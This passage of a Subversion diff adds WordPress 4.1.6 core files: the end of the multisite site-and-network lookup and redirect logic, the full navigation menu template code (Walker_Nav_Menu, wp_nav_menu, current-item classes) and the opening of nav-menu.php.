+			$current_site = get_network_by_path( $domain, $path, 1 );
+		}
+
+		if ( empty( $current_site ) ) {
+			ms_not_installed();
+		} elseif ( $path === $current_site->path ) {
+			$current_blog = get_site_by_path( $domain, $path );
+		} else {
+			// Search the network path + one more path segment (on top of the network path).
+			$current_blog = get_site_by_path( $domain, $path, substr_count( $current_site->path, '/' ) );
+		}
+	} else {
+		// Find the site by the domain and at most the first path segment.
+		$current_blog = get_site_by_path( $domain, $path, 1 );
+		if ( $current_blog ) {
+			$current_site = wp_get_network( $current_blog->site_id ? $current_blog->site_id : 1 );
+		} else {
+			// If you don't have a site with the same domain/path as a network, you're pretty screwed, but:
+			$current_site = get_network_by_path( $domain, $path, 1 );
+		}
+	}
+
+	// The network declared by the site trumps any constants.
+	if ( $current_blog && $current_blog->site_id != $current_site->id ) {
+		$current_site = wp_get_network( $current_blog->site_id );
+	}
+
+	// No network has been found, bail.
+	if ( empty( $current_site ) ) {
+		ms_not_installed();
+	}
+
+	// @todo Investigate when exactly this can occur.
+	if ( empty( $current_blog ) && defined( 'WP_INSTALLING' ) ) {
+		$current_blog = new stdClass;
+		$current_blog->blog_id = $blog_id = 1;
+	}
+
+	// No site has been found, bail.
+	if ( empty( $current_blog ) ) {
+		// We're going to redirect to the network URL, with some possible modifications.
+		$scheme = is_ssl() ? 'https' : 'http';
+		$destination = "$scheme://{$current_site->domain}{$current_site->path}";
+
+		/**
+		 * Fires when a network can be determined but a site cannot.
+		 *
+		 * At the time of this action, the only recourse is to redirect somewhere
+		 * and exit. If you want to declare a particular site, do so earlier.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param object $current_site The network that had been determined.
+		 * @param string $domain       The domain used to search for a site.
+		 * @param string $path         The path used to search for a site.
+		 */
+		do_action( 'ms_site_not_found', $current_site, $domain, $path );
+
+		if ( is_subdomain_install() && ! defined( 'NOBLOGREDIRECT' ) ) {
+			// For a "subdomain" install, redirect to the signup form specifically.
+			$destination .= 'wp-signup.php?new=' . str_replace( '.' . $current_site->domain, '', $domain );
+		} elseif ( is_subdomain_install() ) {
+			// For a "subdomain" install, the NOBLOGREDIRECT constant
+			// can be used to avoid a redirect to the signup form.
+			// Using the ms_site_not_found action is preferred to the constant.
+			if ( '%siteurl%' !== NOBLOGREDIRECT ) {
+				$destination = NOBLOGREDIRECT;
+			}
+		} elseif ( 0 === strcasecmp( $current_site->domain, $domain ) ) {
+			/*
+			 * If the domain we were searching for matches the network's domain,
+			 * it's no use redirecting back to ourselves -- it'll cause a loop.
+			 * As we couldn't find a site, we're simply not installed.
+			 */
+			ms_not_installed();
+		}
+
+		header( 'Location: ' . $destination );
+		exit;
+	}
+
+	// @todo What if the domain of the network doesn't match the current site?
+	$current_site->cookie_domain = $current_site->domain;
+	if ( 'www.' === substr( $current_site->cookie_domain, 0, 4 ) ) {
+		$current_site->cookie_domain = substr( $current_site->cookie_domain, 4 );
+	}
+
+	// Figure out the current network's main site.
+	if ( ! isset( $current_site->blog_id ) ) {
+		if ( $current_blog->domain === $current_site->domain && $current_blog->path === $current_site->path ) {
+			$current_site->blog_id = $current_blog->blog_id;
+		} elseif ( ! $current_site->blog_id = wp_cache_get( 'network:' . $current_site->id . ':main_site', 'site-options' ) ) {
+			$current_site->blog_id = $wpdb->get_var( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s",
+				$current_site->domain, $current_site->path ) );
+			wp_cache_add( 'network:' . $current_site->id . ':main_site', $current_site->blog_id, 'site-options' );
+		}
+	}
+
+	$blog_id = $current_blog->blog_id;
+	$public  = $current_blog->public;
+
+	if ( empty( $current_blog->site_id ) ) {
+		// This dates to [MU134] and shouldn't be relevant anymore,
+		// but it could be possible for arguments passed to insert_blog() etc.
+		$current_blog->site_id = 1;
+	}
+
+	$site_id = $current_blog->site_id;
+	wp_load_core_site_options( $site_id );
+}
+
+$wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php
+$wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id );
+$table_prefix = $wpdb->get_blog_prefix();
+$_wp_switched_stack = array();
+$switched = false;
+
+// need to init cache again after blog_id is set
+wp_start_object_cache();
+
+if ( ! isset( $current_site->site_name ) ) {
+	$current_site->site_name = get_site_option( 'site_name' );
+	if ( ! $current_site->site_name ) {
+		$current_site->site_name = ucfirst( $current_site->domain );
+	}
+}
+
+// Define upload directory constants
+ms_upload_constants();
Index: /tags/4.1.6/src/wp-includes/nav-menu-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/nav-menu-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/nav-menu-template.php	(revision 33402)
@@ -0,0 +1,676 @@
+<?php
+/**
+ * Navigation Menu template functions
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 3.0.0
+ */
+
+/**
+ * Create HTML list of nav menu items.
+ *
+ * @since 3.0.0
+ * @uses Walker
+ */
+class Walker_Nav_Menu extends Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @see Walker::$tree_type
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $tree_type = array( 'post_type', 'taxonomy', 'custom' );
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @see Walker::$db_fields
+	 * @since 3.0.0
+	 * @todo Decouple this.
+	 * @var array
+	 */
+	public $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id' );
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   An array of arguments. @see wp_nav_menu()
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "\n$indent<ul class=\"sub-menu\">\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   An array of arguments. @see wp_nav_menu()
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $item   Menu item data object.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   An array of arguments. @see wp_nav_menu()
+	 * @param int    $id     Current item ID.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
+
+		$classes = empty( $item->classes ) ? array() : (array) $item->classes;
+		$classes[] = 'menu-item-' . $item->ID;
+
+		/**
+		 * Filter the CSS class(es) applied to a menu item's list item element.
+		 *
+		 * @since 3.0.0
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param array  $classes The CSS classes that are applied to the menu item's `<li>` element.
+		 * @param object $item    The current menu item.
+		 * @param array  $args    An array of {@see wp_nav_menu()} arguments.
+		 * @param int    $depth   Depth of menu item. Used for padding.
+		 */
+		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
+		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';
+
+		/**
+		 * Filter the ID applied to a menu item's list item element.
+		 *
+		 * @since 3.0.1
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param string $menu_id The ID that is applied to the menu item's `<li>` element.
+		 * @param object $item    The current menu item.
+		 * @param array  $args    An array of {@see wp_nav_menu()} arguments.
+		 * @param int    $depth   Depth of menu item. Used for padding.
+		 */
+		$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args, $depth );
+		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';
+
+		$output .= $indent . '<li' . $id . $class_names .'>';
+
+		$atts = array();
+		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
+		$atts['target'] = ! empty( $item->target )     ? $item->target     : '';
+		$atts['rel']    = ! empty( $item->xfn )        ? $item->xfn        : '';
+		$atts['href']   = ! empty( $item->url )        ? $item->url        : '';
+
+		/**
+		 * Filter the HTML attributes applied to a menu item's anchor element.
+		 *
+		 * @since 3.6.0
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param array $atts {
+		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
+		 *
+		 *     @type string $title  Title attribute.
+		 *     @type string $target Target attribute.
+		 *     @type string $rel    The rel attribute.
+		 *     @type string $href   The href attribute.
+		 * }
+		 * @param object $item  The current menu item.
+		 * @param array  $args  An array of {@see wp_nav_menu()} arguments.
+		 * @param int    $depth Depth of menu item. Used for padding.
+		 */
+		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );
+
+		$attributes = '';
+		foreach ( $atts as $attr => $value ) {
+			if ( ! empty( $value ) ) {
+				$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
+				$attributes .= ' ' . $attr . '="' . $value . '"';
+			}
+		}
+
+		$item_output = $args->before;
+		$item_output .= '<a'. $attributes .'>';
+		/** This filter is documented in wp-includes/post-template.php */
+		$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;
+		$item_output .= '</a>';
+		$item_output .= $args->after;
+
+		/**
+		 * Filter a menu item's starting output.
+		 *
+		 * The menu item's starting output only includes `$args->before`, the opening `<a>`,
+		 * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
+		 * no filter for modifying the opening and closing `<li>` for a menu item.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $item_output The menu item's starting HTML output.
+		 * @param object $item        Menu item data object.
+		 * @param int    $depth       Depth of menu item. Used for padding.
+		 * @param array  $args        An array of {@see wp_nav_menu()} arguments.
+		 */
+		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $item   Page data object. Not used.
+	 * @param int    $depth  Depth of page. Not Used.
+	 * @param array  $args   An array of arguments. @see wp_nav_menu()
+	 */
+	public function end_el( &$output, $item, $depth = 0, $args = array() ) {
+		$output .= "</li>\n";
+	}
+
+} // Walker_Nav_Menu
+
+/**
+ * Displays a navigation menu.
+ *
+ * @since 3.0.0
+ *
+ * @param array $args {
+ *     Optional. Array of nav menu arguments.
+ *
+ *     @type string        $menu            Desired menu. Accepts (matching in order) id, slug, name. Default empty.
+ *     @type string        $menu_class      CSS class to use for the ul element which forms the menu. Default 'menu'.
+ *     @type string        $menu_id         The ID that is applied to the ul element which forms the menu.
+ *                                          Default is the menu slug, incremented.
+ *     @type string        $container       Whether to wrap the ul, and what to wrap it with. Default 'div'.
+ *     @type string        $container_class Class that is applied to the container. Default 'menu-{menu slug}-container'.
+ *     @type string        $container_id    The ID that is applied to the container. Default empty.
+ *     @type callback|bool $fallback_cb     If the menu doesn't exists, a callback function will fire.
+ *                                          Default is 'wp_page_menu'. Set to false for no fallback.
+ *     @type string        $before          Text before the link text. Default empty.
+ *     @type string        $after           Text after the link text. Default empty.
+ *     @type string        $link_before     Text before the link. Default empty.
+ *     @type string        $link_after      Text after the link. Default empty.
+ *     @type bool          $echo            Whether to echo the menu or return it. Default true.
+ *     @type int           $depth           How many levels of the hierarchy are to be included. 0 means all. Default 0.
+ *     @type object        $walker          Instance of a custom walker class. Default empty.
+ *     @type string        $theme_location  Theme location to be used. Must be registered with register_nav_menu()
+ *                                          in order to be selectable by the user.
+ *     @type string        $items_wrap      How the list items should be wrapped. Default is a ul with an id and class.
+ *                                          Uses printf() format with numbered placeholders.
+ * }
+ * @return mixed Menu output if $echo is false, false if there are no items or no menu was found.
+ */
+function wp_nav_menu( $args = array() ) {
+	static $menu_id_slugs = array();
+
+	$defaults = array( 'menu' => '', 'container' => 'div', 'container_class' => '', 'container_id' => '', 'menu_class' => 'menu', 'menu_id' => '',
+	'echo' => true, 'fallback_cb' => 'wp_page_menu', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => '', 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+	'depth' => 0, 'walker' => '', 'theme_location' => '' );
+
+	$args = wp_parse_args( $args, $defaults );
+	/**
+	 * Filter the arguments used to display a navigation menu.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param array $args Array of wp_nav_menu() arguments.
+	 */
+	$args = apply_filters( 'wp_nav_menu_args', $args );
+	$args = (object) $args;
+
+	/**
+	 * Filter whether to short-circuit the wp_nav_menu() output.
+	 *
+	 * Returning a non-null value to the filter will short-circuit
+	 * wp_nav_menu(), echoing that value if $args->echo is true,
+	 * returning that value otherwise.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string|null $output Nav menu output to short-circuit with. Default null.
+	 * @param object      $args   An object containing wp_nav_menu() arguments.
+	 */
+	$nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args );
+
+	if ( null !== $nav_menu ) {
+		if ( $args->echo ) {
+			echo $nav_menu;
+			return;
+		}
+
+		return $nav_menu;
+	}
+
+	// Get the nav menu based on the requested menu
+	$menu = wp_get_nav_menu_object( $args->menu );
+
+	// Get the nav menu based on the theme_location
+	if ( ! $menu && $args->theme_location && ( $locations = get_nav_menu_locations() ) && isset( $locations[ $args->theme_location ] ) )
+		$menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] );
+
+	// get the first menu that has items if we still can't find a menu
+	if ( ! $menu && !$args->theme_location ) {
+		$menus = wp_get_nav_menus();
+		foreach ( $menus as $menu_maybe ) {
+			if ( $menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) ) ) {
+				$menu = $menu_maybe;
+				break;
+			}
+		}
+	}
+
+	// If the menu exists, get its items.
+	if ( $menu && ! is_wp_error($menu) && !isset($menu_items) )
+		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
+
+	/*
+	 * If no menu was found:
+	 *  - Fall back (if one was specified), or bail.
+	 *
+	 * If no menu items were found:
+	 *  - Fall back, but only if no theme location was specified.
+	 *  - Otherwise, bail.
+	 */
+	if ( ( !$menu || is_wp_error($menu) || ( isset($menu_items) && empty($menu_items) && !$args->theme_location ) )
+		&& $args->fallback_cb && is_callable( $args->fallback_cb ) )
+			return call_user_func( $args->fallback_cb, (array) $args );
+
+	if ( ! $menu || is_wp_error( $menu ) )
+		return false;
+
+	$nav_menu = $items = '';
+
+	$show_container = false;
+	if ( $args->container ) {
+		/**
+		 * Filter the list of HTML tags that are valid for use as menu containers.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $tags The acceptable HTML tags for use as menu containers.
+		 *                    Default is array containing 'div' and 'nav'.
+		 */
+		$allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) );
+		if ( in_array( $args->container, $allowed_tags ) ) {
+			$show_container = true;
+			$class = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-'. $menu->slug .'-container"';
+			$id = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : '';
+			$nav_menu .= '<'. $args->container . $id . $class . '>';
+		}
+	}
+
+	// Set up the $menu_item variables
+	_wp_menu_item_classes_by_context( $menu_items );
+
+	$sorted_menu_items = $menu_items_with_children = array();
+	foreach ( (array) $menu_items as $menu_item ) {
+		$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
+		if ( $menu_item->menu_item_parent )
+			$menu_items_with_children[ $menu_item->menu_item_parent ] = true;
+	}
+
+	// Add the menu-item-has-children class where applicable
+	if ( $menu_items_with_children ) {
+		foreach ( $sorted_menu_items as &$menu_item ) {
+			if ( isset( $menu_items_with_children[ $menu_item->ID ] ) )
+				$menu_item->classes[] = 'menu-item-has-children';
+		}
+	}
+
+	unset( $menu_items, $menu_item );
+
+	/**
+	 * Filter the sorted list of menu item objects before generating the menu's HTML.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $sorted_menu_items The menu items, sorted by each menu item's menu order.
+	 * @param object $args              An object containing wp_nav_menu() arguments.
+	 */
+	$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );
+
+	$items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args );
+	unset($sorted_menu_items);
+
+	// Attributes
+	if ( ! empty( $args->menu_id ) ) {
+		$wrap_id = $args->menu_id;
+	} else {
+		$wrap_id = 'menu-' . $menu->slug;
+		while ( in_array( $wrap_id, $menu_id_slugs ) ) {
+			if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) )
+				$wrap_id = preg_replace('#-(\d+)$#', '-' . ++$matches[1], $wrap_id );
+			else
+				$wrap_id = $wrap_id . '-1';
+		}
+	}
+	$menu_id_slugs[] = $wrap_id;
+
+	$wrap_class = $args->menu_class ? $args->menu_class : '';
+
+	/**
+	 * Filter the HTML list content for navigation menus.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string $items The HTML list content for the menu items.
+	 * @param object $args  An object containing wp_nav_menu() arguments.
+	 */
+	$items = apply_filters( 'wp_nav_menu_items', $items, $args );
+	/**
+	 * Filter the HTML list content for a specific navigation menu.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string $items The HTML list content for the menu items.
+	 * @param object $args  An object containing wp_nav_menu() arguments.
+	 */
+	$items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args );
+
+	// Don't print any markup if there are no items at this point.
+	if ( empty( $items ) )
+		return false;
+
+	$nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );
+	unset( $items );
+
+	if ( $show_container )
+		$nav_menu .= '</' . $args->container . '>';
+
+	/**
+	 * Filter the HTML content for navigation menus.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string $nav_menu The HTML content for the navigation menu.
+	 * @param object $args     An object containing wp_nav_menu() arguments.
+	 */
+	$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );
+
+	if ( $args->echo )
+		echo $nav_menu;
+	else
+		return $nav_menu;
+}
+
+/**
+ * Add the class property classes for the current context, if applicable.
+ *
+ * @access private
+ * @since 3.0.0
+ *
+ * @param array $menu_items The current menu item objects to which to add the class property information.
+ */
+function _wp_menu_item_classes_by_context( &$menu_items ) {
+	global $wp_query, $wp_rewrite;
+
+	$queried_object = $wp_query->get_queried_object();
+	$queried_object_id = (int) $wp_query->queried_object_id;
+
+	$active_object = '';
+	$active_ancestor_item_ids = array();
+	$active_parent_item_ids = array();
+	$active_parent_object_ids = array();
+	$possible_taxonomy_ancestors = array();
+	$possible_object_parents = array();
+	$home_page_id = (int) get_option( 'page_for_posts' );
+
+	if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) {
+		foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) {
+			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+				$term_hierarchy = _get_term_hierarchy( $taxonomy );
+				$terms = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) );
+				if ( is_array( $terms ) ) {
+					$possible_object_parents = array_merge( $possible_object_parents, $terms );
+					$term_to_ancestor = array();
+					foreach ( (array) $term_hierarchy as $anc => $descs ) {
+						foreach ( (array) $descs as $desc )
+							$term_to_ancestor[ $desc ] = $anc;
+					}
+
+					foreach ( $terms as $desc ) {
+						do {
+							$possible_taxonomy_ancestors[ $taxonomy ][] = $desc;
+							if ( isset( $term_to_ancestor[ $desc ] ) ) {
+								$_desc = $term_to_ancestor[ $desc ];
+								unset( $term_to_ancestor[ $desc ] );
+								$desc = $_desc;
+							} else {
+								$desc = 0;
+							}
+						} while ( ! empty( $desc ) );
+					}
+				}
+			}
+		}
+	} elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
+		$term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy );
+		$term_to_ancestor = array();
+		foreach ( (array) $term_hierarchy as $anc => $descs ) {
+			foreach ( (array) $descs as $desc )
+				$term_to_ancestor[ $desc ] = $anc;
+		}
+		$desc = $queried_object->term_id;
+		do {
+			$possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc;
+			if ( isset( $term_to_ancestor[ $desc ] ) ) {
+				$_desc = $term_to_ancestor[ $desc ];
+				unset( $term_to_ancestor[ $desc ] );
+				$desc = $_desc;
+			} else {
+				$desc = 0;
+			}
+		} while ( ! empty( $desc ) );
+	}
+
+	$possible_object_parents = array_filter( $possible_object_parents );
+
+	$front_page_url = home_url();
+
+	foreach ( (array) $menu_items as $key => $menu_item ) {
+
+		$menu_items[$key]->current = false;
+
+		$classes = (array) $menu_item->classes;
+		$classes[] = 'menu-item';
+		$classes[] = 'menu-item-type-' . $menu_item->type;
+		$classes[] = 'menu-item-object-' . $menu_item->object;
+
+		// if the menu item corresponds to a taxonomy term for the currently-queried non-hierarchical post object
+		if ( $wp_query->is_singular && 'taxonomy' == $menu_item->type && in_array( $menu_item->object_id, $possible_object_parents ) ) {
+			$active_parent_object_ids[] = (int) $menu_item->object_id;
+			$active_parent_item_ids[] = (int) $menu_item->db_id;
+			$active_object = $queried_object->post_type;
+
+		// if the menu item corresponds to the currently-queried post or taxonomy object
+		} elseif (
+			$menu_item->object_id == $queried_object_id &&
+			(
+				( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && $wp_query->is_home && $home_page_id == $menu_item->object_id ) ||
+				( 'post_type' == $menu_item->type && $wp_query->is_singular ) ||
+				( 'taxonomy' == $menu_item->type && ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax ) && $queried_object->taxonomy == $menu_item->object )
+			)
+		) {
+			$classes[] = 'current-menu-item';
+			$menu_items[$key]->current = true;
+			$_anc_id = (int) $menu_item->db_id;
+
+			while(
+				( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
+				! in_array( $_anc_id, $active_ancestor_item_ids )
+			) {
+				$active_ancestor_item_ids[] = $_anc_id;
+			}
+
+			if ( 'post_type' == $menu_item->type && 'page' == $menu_item->object ) {
+				// Back compat classes for pages to match wp_page_menu()
+				$classes[] = 'page_item';
+				$classes[] = 'page-item-' . $menu_item->object_id;
+				$classes[] = 'current_page_item';
+			}
+			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
+			$active_parent_object_ids[] = (int) $menu_item->post_parent;
+			$active_object = $menu_item->object;
+
+		// if the menu item corresponds to the currently-requested URL
+		} elseif ( 'custom' == $menu_item->object ) {
+			$_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] );
+			$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current );
+			$raw_item_url = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url;
+			$item_url = untrailingslashit( $raw_item_url );
+			$_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) );
+
+			if ( $raw_item_url && in_array( $item_url, array( $current_url, $_indexless_current, $_root_relative_current ) ) ) {
+				$classes[] = 'current-menu-item';
+				$menu_items[$key]->current = true;
+				$_anc_id = (int) $menu_item->db_id;
+
+				while(
+					( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
+					! in_array( $_anc_id, $active_ancestor_item_ids )
+				) {
+					$active_ancestor_item_ids[] = $_anc_id;
+				}
+
+				if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ) ) ) {
+					// Back compat for home link to match wp_page_menu()
+					$classes[] = 'current_page_item';
+				}
+				$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
+				$active_parent_object_ids[] = (int) $menu_item->post_parent;
+				$active_object = $menu_item->object;
+
+			// give front page item current-menu-item class when extra query arguments involved
+			} elseif ( $item_url == $front_page_url && is_front_page() ) {
+				$classes[] = 'current-menu-item';
+			}
+
+			if ( untrailingslashit($item_url) == home_url() )
+				$classes[] = 'menu-item-home';
+		}
+
+		// back-compat with wp_page_menu: add "current_page_parent" to static home page link for any non-page query
+		if ( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && empty( $wp_query->is_page ) && $home_page_id == $menu_item->object_id )
+			$classes[] = 'current_page_parent';
+
+		$menu_items[$key]->classes = array_unique( $classes );
+	}
+	$active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) );
+	$active_parent_item_ids = array_filter( array_unique( $active_parent_item_ids ) );
+	$active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) );
+
+	// set parent's class
+	foreach ( (array) $menu_items as $key => $parent_item ) {
+		$classes = (array) $parent_item->classes;
+		$menu_items[$key]->current_item_ancestor = false;
+		$menu_items[$key]->current_item_parent = false;
+
+		if (
+			isset( $parent_item->type ) &&
+			(
+				// ancestral post object
+				(
+					'post_type' == $parent_item->type &&
+					! empty( $queried_object->post_type ) &&
+					is_post_type_hierarchical( $queried_object->post_type ) &&
+					in_array( $parent_item->object_id, $queried_object->ancestors ) &&
+					$parent_item->object != $queried_object->ID
+				) ||
+
+				// ancestral term
+				(
+					'taxonomy' == $parent_item->type &&
+					isset( $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
+					in_array( $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ] ) &&
+					(
+						! isset( $queried_object->term_id ) ||
+						$parent_item->object_id != $queried_object->term_id
+					)
+				)
+			)
+		) {
+			$classes[] = empty( $queried_object->taxonomy ) ? 'current-' . $queried_object->post_type . '-ancestor' : 'current-' . $queried_object->taxonomy . '-ancestor';
+		}
+
+		if ( in_array(  intval( $parent_item->db_id ), $active_ancestor_item_ids ) ) {
+			$classes[] = 'current-menu-ancestor';
+			$menu_items[$key]->current_item_ancestor = true;
+		}
+		if ( in_array( $parent_item->db_id, $active_parent_item_ids ) ) {
+			$classes[] = 'current-menu-parent';
+			$menu_items[$key]->current_item_parent = true;
+		}
+		if ( in_array( $parent_item->object_id, $active_parent_object_ids ) )
+			$classes[] = 'current-' . $active_object . '-parent';
+
+		if ( 'post_type' == $parent_item->type && 'page' == $parent_item->object ) {
+			// Back compat classes for pages to match wp_page_menu()
+			if ( in_array('current-menu-parent', $classes) )
+				$classes[] = 'current_page_parent';
+			if ( in_array('current-menu-ancestor', $classes) )
+				$classes[] = 'current_page_ancestor';
+		}
+
+		$menu_items[$key]->classes = array_unique( $classes );
+	}
+}
+
+/**
+ * Retrieve the HTML list content for nav menu items.
+ *
+ * @uses Walker_Nav_Menu to create HTML list content.
+ * @since 3.0.0
+ * @see Walker::walk() for parameters and return description.
+ */
+function walk_nav_menu_tree( $items, $depth, $r ) {
+	$walker = ( empty($r->walker) ) ? new Walker_Nav_Menu : $r->walker;
+	$args = array( $items, $depth, $r );
+
+	return call_user_func_array( array($walker, 'walk'), $args );
+}
+
+/**
+ * Prevents a menu item ID from being used more than once.
+ *
+ * @since 3.0.1
+ * @access private
+ */
+function _nav_menu_item_id_use_once( $id, $item ) {
+	static $_used_ids = array();
+	if ( in_array( $item->ID, $_used_ids ) )
+		return '';
+	$_used_ids[] = $item->ID;
+	return $id;
+}
+add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 );
Index: /tags/4.1.6/src/wp-includes/nav-menu.php
===================================================================
--- /tags/4.1.6/src/wp-includes/nav-menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/nav-menu.php	(revision 33402)
@@ -0,0 +1,900 @@
+<?php
+/**
+ * Navigation Menu functions
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 3.0.0
+ */
+
+/**
+ * Returns a navigation menu object.
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu Menu ID, slug, or name.
+ * @return mixed false if $menu param isn't supplied or term does not exist, menu object if successful.
+ */
+function wp_get_nav_menu_object( $menu ) {
+	if ( ! $menu )
+		return false;
+
+	$menu_obj = get_term( $menu, 'nav_menu' );
+
+	if ( ! $menu_obj )
+		$menu_obj = get_term_by( 'slug', $menu, 'nav_menu' );
+
+	if ( ! $menu_obj )
+		$menu_obj = get_term_by( 'name', $menu, 'nav_menu' );
+
+	if ( ! $menu_obj )
+		$menu_obj = false;
+
+	return $menu_obj;
+}
+
+/**
+ * Check if the given ID is a navigation menu.
+ *
+ * Returns true if it is; false otherwise.
+ *
+ * @since 3.0.0
+ *
+ * @param int|string $menu The menu to check (ID, slug, or name).
+ * @return bool Whether the menu exists.
+ */
+function is_nav_menu( $menu ) {
+	if ( ! $menu )
+		return false;
+
+	$menu_obj = wp_get_nav_menu_object( $menu );
+
+	if (
+		$menu_obj &&
+		! is_wp_error( $menu_obj ) &&
+		! empty( $menu_obj->taxonomy ) &&
+		'nav_menu' == $menu_obj->taxonomy
+	)
+		return true;
+
+	return false;
+}
+
+/**
+ * Register navigation menus for a theme.
+ *
+ * @since 3.0.0
+ *
+ * @param array $locations Associative array of menu location identifiers (like a slug) and descriptive text.
+ */
